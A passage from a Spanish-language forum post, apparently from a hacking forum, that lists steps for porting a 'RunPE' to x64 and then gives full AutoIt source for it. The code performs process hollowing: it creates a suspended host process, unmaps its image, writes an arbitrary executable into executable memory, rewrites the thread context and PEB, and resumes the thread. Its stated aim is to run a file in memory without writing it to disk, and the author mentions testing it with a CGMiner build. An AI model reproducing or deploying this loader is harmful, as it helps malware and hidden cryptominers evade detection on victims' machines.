de las diferencias entre ambas arquitecturas.
Para adaptar un RunPe y que funcione para ejecutables compilados para x64:
Código: Seleccionar todo
- Cambiar la estructura "IMAGE_OPTIONAL_HEADER" por su correspondiente para versiones x64 "IMAGE_OPTIONAL_HEADER64"
- Cambiar la Estructura "Conxtext" por su correspontiente para versiones x64
- Cambiar el valor del "ContextFlag" para versiones x86 es 0x10007 y para x64 es 0x100007
- Cambiamos el tipo de memoria a reservar con "VirtualAllocEx" pasa de ser para x86 0x3000 (MEM_COMIT + MEM_RESERVE) y para x64 solo MEM_COMIT 0x1000
- Para cambiar el EntryPoint pasamos de utilizar "EAX" a utilizar "RCX"
- Pasamos de utilizar "EBX" para utilizar "RDX"
- Cambiamos el PEB, utilizando su estructura y las APIS "ReadProcessMemory" para leer la memoria y "WriteProcessMemory" para escribirla, tambien cambiamos la direccion del "ImageBase" por el retorno de la API ""VirtualAllocEx".
Code:
#cs ----------------------------------------------------------------------------
AutoIt Version: 3.3.8.1
Author: Naker90
Script Function:
Ejecuta un archivo en memoria sin necesidad de droppearlo en el disco. Version para aplicaciones compiladas para arquitecturas x64
Parametros:
$byFile => Parametro que contrendra los bytes del archivo a cargar. (Retorno de la funcion "FileRead")
$szParametros => Posibles parametros del ejecutable.
$sHost => El nombre del modulo que se va a ejecutar
Funcional en Windows 7 x64 y testeado con la version x64 del CGMiner
Agradecimientos a The_Swash por haber definido los pasos a seguir para la creacion de un RunPE los cuales yo segui para realizar este codigo.
Tambien agradecer a los autores de varios RunPE que he leido para poder solucionar mis dudas, autores como: M3, Tracexx y Karcark
#ce ----------------------------------------------------------------------------
Func _RunPE_Version_x64($byFile, $szParametros, $sHost)
;Si el modulo para el createprocess es el propio ejecutable, debemos copilar antes de usar el codigo.
If $sHost = @ScriptFullPath Then
If Not @Compiled Then
MsgBox(16, 'ERROR', 'Compile el script antes de utilizarlo!')
Return 0
EndIf
EndIf
If @AutoItX64 = 1 Then
;Lo primero es crear el puntero
Local $sFileStruct = DllStructCreate('Byte[' & BinaryLen($byFile) & ']')
DllStructSetData($sFileStruct, 1, $byFile)
Local $pPointer = DllStructGetPtr($sFileStruct)
;Vamos a separar el codigo en 2 partes: 1 La cabecera y 2 La memoria. De esta forma no mezclamos las cosas.
;------------------------------------------------------------------
; 1.- Operaciones con la cabezera. En esta parta vamos a sacar gran parte de los datos relacionados con la cabecera que nos serviran posteriormente.
;------------------------------------------------------------------
;Creamos la estructura para los datos que contiene el IMAGE_DOS_STRUCT
Local $sDOS_Struct = DllStructCreate('WORD e_magic;WORD e_cblp;WORD e_cp;WORD e_crlc;WORD e_cparhdr;WORD e_minalloc;WORD e_maxalloc;WORD e_ss;WORD e_sp;WORD e_csum;WORD e_ip;WORD e_cs;WORD e_lfarlc;WORD e_ovno;WORD e_res[4];WORD e_oemid;WORD e_oeminfo;WORD e_res2[10];WORD e_lfanew', $pPointer)
;Si el archvo con tiene el "MZ" propio de los archivos ejecutables continuamos con el codigo, de lo contrario lanzamos un mensaje y retornamos 0
If DllStructGetData($sDOS_Struct, 'e_magic') = 23117 Then
;Le sumamos al puntero el valor de "PE/0x/0x"
$pPointer += DllStructGetData($sDOS_Struct, 'e_lfanew')
;Creamos la estructura IMAGE_NT_HEADER para poder utilizar posteriormente IMAGE_FILE_STRUCT y IMAGE_OPTIONAL_HEADER.
Local $sNT_Struct = DllStructCreate('DWORD signature;CHAR IMAGE_FILE_HEADER[20];CHAR IMAGE_OPTIONAL_HEADER[224]', $pPointer)
;Creamos la structura IMAGE_FILE_HEADER y le pasamos el puntero de elemento 2 de la structura IMAGE_NT_HEADER. De aqui vamos a sacar el numero de secciones.
Local $sFile_Struct = DllStructCreate('WORD Machine;WORD NumberOfSections;DWORD TimeDateStamp;DWORD PointerToSymbolTable;DWORD NumberOfSymbols;WORD SizeOfOptionalHeader;WORD Characteristics;', DllStructGetPtr($sNT_Struct, 'IMAGE_FILE_HEADER'))
Local $wNumberOfSection = DllStructGetData($sFile_Struct, 'NumberOfSections')
;Ahora vamos a crear la structura del IMAGE_OPTIONAL_HEADER (Version x64) de la cual sacaremos los datos de: ImageBase, SizeOfImage, EntryPoint y el SizeOfHeaders.
Local $sOptional_Struct = DllStructCreate('word Magic;byte MajorLinkerVersion;byte MinorLinkerVersion;dword SizeOfCode;dword SizeOfInitializedData;dword SizeOfUninitializedData;dword AddressOfEntryPoint;dword BaseOfCode;uint64 ImageBase;dword SectionAlignment;dword FileAlignment;word MajorOperatingSystemVersion;word MinorOperatingSystemVersion;word MajorImageVersion;word MinorImageVersion;word MajorSubsystemVersion;word MinorSubsystemVersion;dword Win32VersionValue;dword SizeOfImage;dword SizeOfHeaders;dword CheckSum;word Subsystem;word DllCharacteristics;uint64 SizeOfStackReserve;uint64 SizeOfStackCommit;uint64 SizeOfHeapReserve;uint64 SizeOfHeapCommit;dword LoaderFlags;dword NumberOfRvaAndSizes', DllStructGetPtr($sNT_Struct, 'IMAGE_OPTIONAL_HEADER'))
Local $dwImageBase = DllStructGetData($sOptional_Struct, 'imagebase')
Local $dSizeOfImage = DllStructGetData($sOptional_Struct, 'sizeofimage')
Local $dEntryPoint = DllStructGetData($sOptional_Struct, 'addressofentrypoint')
Local $dSizeOfHeaders = DllStructGetData($sOptional_Struct, 'sizeofheaders')
;Sumamos al puntero el tamaño del IMAGE_OPTIONAL_HEADER y 24 que es el tamaño de la IT(Import Table)
$pPointer += (DllStructGetData($sFile_Struct, 'SizeOfOptionalHeader') + 24)
;------------------------------------------------------------------
; 2.- La Memoria. En esta parte vamos a realizar todas las operaciones con la memoria.
;------------------------------------------------------------------
;Creamos las structuras StartUpInfo y ProcessInformation que luego necesitaremos para crear el proceso.
Local $sStartUpInfo = DllStructCreate('dword cbSize;ptr Reserved;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;dword YCountChars;dword FillAttribute;dword Flags;ushort ShowWindow;ushort Reserved2;ptr Reserved2;ptr hStdInput;ptr hStdOutput;ptr hStdError')
Local $sProcessInfo = DllStructCreate('handle hProcess;handle hThread;dword dwProcessId;dword dwThreadId')
;Lo primero es crear el proceso suspendido tirando de la API "CreateProcess". Podemos ejecutar el proceso suspendido en nuestra propia instacia o en la de otro proceso.
Local $iCreateProcess = DllCall('Kernel32.dll', 'Bool', 'CreateProcessW', 'Wstr', $sHost, 'Wstr', $szParametros, 'Ptr', 0, 'Ptr', 0, 'Bool', False, 'Dword', 4, 'Ptr', 0, 'Ptr', 0, 'Ptr', DllStructGetPtr($sStartUpInfo), 'Ptr', DllStructGetPtr($sProcessInfo))
;Obtenemos el valor del "hThread" y "hProcess" de la estructura ProcessInfo que nos servira luego para trabajar con la API "NtGetContextThread" y "VirtualAllocEx".
Local $hThread = DllStructGetData($sProcessInfo, 'hThread')
Local $hProcess = DllStructGetData($sProcessInfo, 'hProcess')
;Limpiamos el ejecutable del proceso antes de reservar memoria, esto lo vamos a hacer con la API "NtUnmapViewOfSection"
Local $iUnMapSection = DllCall('Ntdll.dll', 'Int', 'NtUnmapViewOfSection', 'Ptr', $hProcess, 'Ptr', $dwImageBase)
;Obtenemos los contextos (Registros) con la estructura CONTEXT (Version x64) y establecemos la bandera con el valor 0x100007
Local $sContext_Struct = DllStructCreate('align 16; uint64 P1Home; uint64 P2Home; uint64 P3Home; uint64 P4Home; uint64 P5Home; uint64 P6Home;dword ContextFlags; dword MxCsr;word SegCS; word SegDs; word SegEs; word SegFs; word SegGs; word SegSs; dword EFlags;uint64 Dr0; uint64 Dr1; uint64 Dr2; uint64 Dr3; uint64 Dr6; uint64 Dr7;uint64 Rax; uint64 Rcx; uint64 Rdx; uint64 Rbx; uint64 Rsp; uint64 Rbp; uint64 Rsi; uint64 Rdi; uint64 R8; uint64 R9; uint64 R10; uint64 R11; uint64 R12; uint64 R13; uint64 R14; uint64 R15;uint64 Rip;uint64 Header[4]; uint64 Legacy[16]; uint64 Xmm0[2]; uint64 Xmm1[2]; uint64 Xmm2[2]; uint64 Xmm3[2]; uint64 Xmm4[2]; uint64 Xmm5[2]; uint64 Xmm6[2]; uint64 Xmm7[2]; uint64 Xmm8[2]; uint64 Xmm9[2]; uint64 Xmm10[2]; uint64 Xmm11[2]; uint64 Xmm12[2]; uint64 Xmm13[2]; uint64 Xmm14[2]; uint64 Xmm15[2];uint64 VectorRegister[52]; uint64 VectorControl;uint64 DebugControl; uint64 LastBranchToRip; uint64 LastBranchFromRip; uint64 LastExceptionToRip; uint64 LastExceptionFromRip')
DllStructSetData($sContext_Struct, 'ContextFlags', 0x100007)
;Obtenemos el context con la API "GetContextThread"
Local $iGetContextThread = DllCall('Kernel32.dll', 'Int', 'GetThreadContext', 'Handle', $hThread, 'Ptr', DllStructGetPtr($sContext_Struct))
;Reservamos memoria con VirtualAllocEx. Pata versiones x64 debemos pasar de (0x3000) MEM_COMIT y MEM_RESERVE por (0x1000) Solamente MEM_COMIT
Local $pVirtualAlloc = DllCall('Kernel32.dll', 'Ptr', 'VirtualAllocEx', 'Handle', $hProcess, 'Ptr', $dwImageBase, 'Dword', $dSizeOfImage, 'Dword', 0x1000, 'Dword', 0x40)
;Escribimos en el proceso la cabecera.
Local $iWriteProcessFirst = DllCall('Kernel32.dll', 'Int', 'WriteProcessMemory', 'Handle', $hProcess, 'Ptr', $dwImageBase, 'Ptr', DllStructGetPtr($sDOS_Struct), 'Ulong_Ptr', $dSizeOfHeaders, 'Dword', 0)
;Escribimos las cabeceras en la memoria que acabamos de reservar.
For $i = 1 To $wNumberOfSection
;Creamos la estructura para las secciones. En este momento nos encontramos en la primera seccion.
Local $sSection_Struct = DllStructCreate('char Name[8];dword UnionOfVirtualSizeAndPhysicalAddress;dword VirtualAddress;dword SizeOfRawData;dword PointerToRawData;dword PointerToRelocations;dword PointerToLinenumbers;ushort NumberOfRelocations;ushort NumberOfLinenumbers;dword Characteristics', $pPointer)
;Obtenemos los datos de las seccion necesarios para escribirlos en memoria
Local $dVirtualAddress = ($dwImageBase + DllStructGetData($sSection_Struct, 'VirtualAddress'))
Local $dSizeOfRawData = DllStructGetData($sSection_Struct, 'SizeOfRawData')
Local $dPointerToRawData = (DllStructGetPtr($sDOS_Struct) + DllStructGetData($sSection_Struct, 'PointerToRawData'))
;Escribimos los datos con "WriteProcessMemory"
Local $iWriteProcessSecond = DllCall('Kernel32.dll', 'Int', 'WriteProcessMemory', 'Handle', $hProcess, 'Ptr', $dVirtualAddress, 'Ptr', $dPointerToRawData, 'Ulong_Ptr', $dSizeOfRawData, 'Dword', 0)
;Le sumamos al puntero 40 que es el valor de la estructutura IMAGE_SECTION_HEADER entera.
$pPointer += 40
Next
;Modificamos el EntryPoint sumandole al actual el valor del ImageBase. Para versiones x64 cambiamos "EAX" por "RCX"
Local $dModEntryPoint = $dwImageBase + $dEntryPoint
DllStructSetData($sContext_Struct, 'Rcx', $dModEntryPoint)
;Cambiamos el ImageBase, para la arquitectura x86 solo le sumamos 8 al "EBX". Para x64 tememos que utilizar la estructura PEB y cambiar "EBX" por "Rdx"
Local $sPeb_Struct = DllStructCreate('byte InheritedAddressSpace;byte ReadImageFileExecOptions;byte BeingDebugged;byte Spare;ptr Mutant;ptr ImageBaseAddress;ptr LoaderData;ptr ProcessParameters;ptr SubSystemData;ptr ProcessHeap;ptr FastPebLock;ptr FastPebLockRoutine;ptr FastPebUnlockRoutine;dword EnvironmentUpdateCount;ptr KernelCallbackTable;ptr EventLogSection;ptr EventLog;ptr FreeList;dword TlsExpansionCounter;ptr TlsBitmap;dword TlsBitmapBits[2];ptr ReadOnlySharedMemoryBase;ptr ReadOnlySharedMemoryHeap;ptr ReadOnlyStaticServerData;ptr AnsiCodePageData;ptr OemCodePageData;ptr UnicodeCaseTableData;dword NumberOfProcessors;dword NtGlobalFlag;byte Spare2[4];int64 CriticalSectionTimeout;dword HeapSegmentReserve;dword HeapSegmentCommit;dword HeapDeCommitTotalFreeThreshold;dword HeapDeCommitFreeBlockThreshold;dword NumberOfHeaps;dword MaximumNumberOfHeaps;ptr ProcessHeaps;ptr GdiSharedHandleTable;ptr ProcessStarterHelper;ptr GdiDCAttributeList;ptr LoaderLock;dword OSMajorVersion;dword OSMinorVersion;dword OSBuildNumber;dword OSPlatformId;dword ImageSubSystem;dword ImageSubSystemMajorVersion;dword ImageSubSystemMinorVersion;dword GdiHandleBuffer[34];dword PostProcessInitRoutine;dword TlsExpansionBitmap;byte TlsExpansionBitmapBits[128];dword SessionId')
Local $iWriteProcessPEB = DllCall('Kernel32.dll', 'Int', 'ReadProcessMemory', 'Handle', $hProcess, 'Ptr', DllStructGetData($sContext_Struct, 'Rdx'), 'Ptr', DllStructGetPtr($sPeb_Struct), 'Ulong_Ptr', DllStructGetSize($sPeb_Struct), 'Dword', 0)
DllStructSetData($sPeb_Struct, 'ImageBaseAddress', $pVirtualAlloc[0])
Local $iWriteProcessPEB = DllCall('Kernel32.dll', 'Int', 'WriteProcessMemory', 'Handle', $hProcess, 'Ptr', DllStructGetData($sContext_Struct, 'Rdx'), 'Ptr', DllStructGetPtr($sPeb_Struct), 'Ulong_Ptr', DllStructGetSize($sPeb_Struct), 'Dword', 0)
;Le asignamos al proceso los regsitros con la API "SetThreadContext" y luego arrancamos el proceso con "ResumeThread".
Local $iSetThread = DllCall('Kernel32.dll', 'Int', 'SetThreadContext', 'Handle', $hThread, 'Ptr', DllStructGetPtr($sContext_Struct))
Local $dResume = DllCall('Kernel32.dll', 'Dword', 'ResumeThread', 'Handle', $hThread)
Else
MsgBox(16, 'ERROR', 'Este archivo no es un ejecutable!')
Return 0
EndIf
Else
MsgBox(16, 'ERROR', 'Esta version del RunPE necesita ser compilado en x64 bits para su correcto funcionamiento!')
Return 0
EndIf
EndFunc ;==>_RunPE_Version_x64
Saludos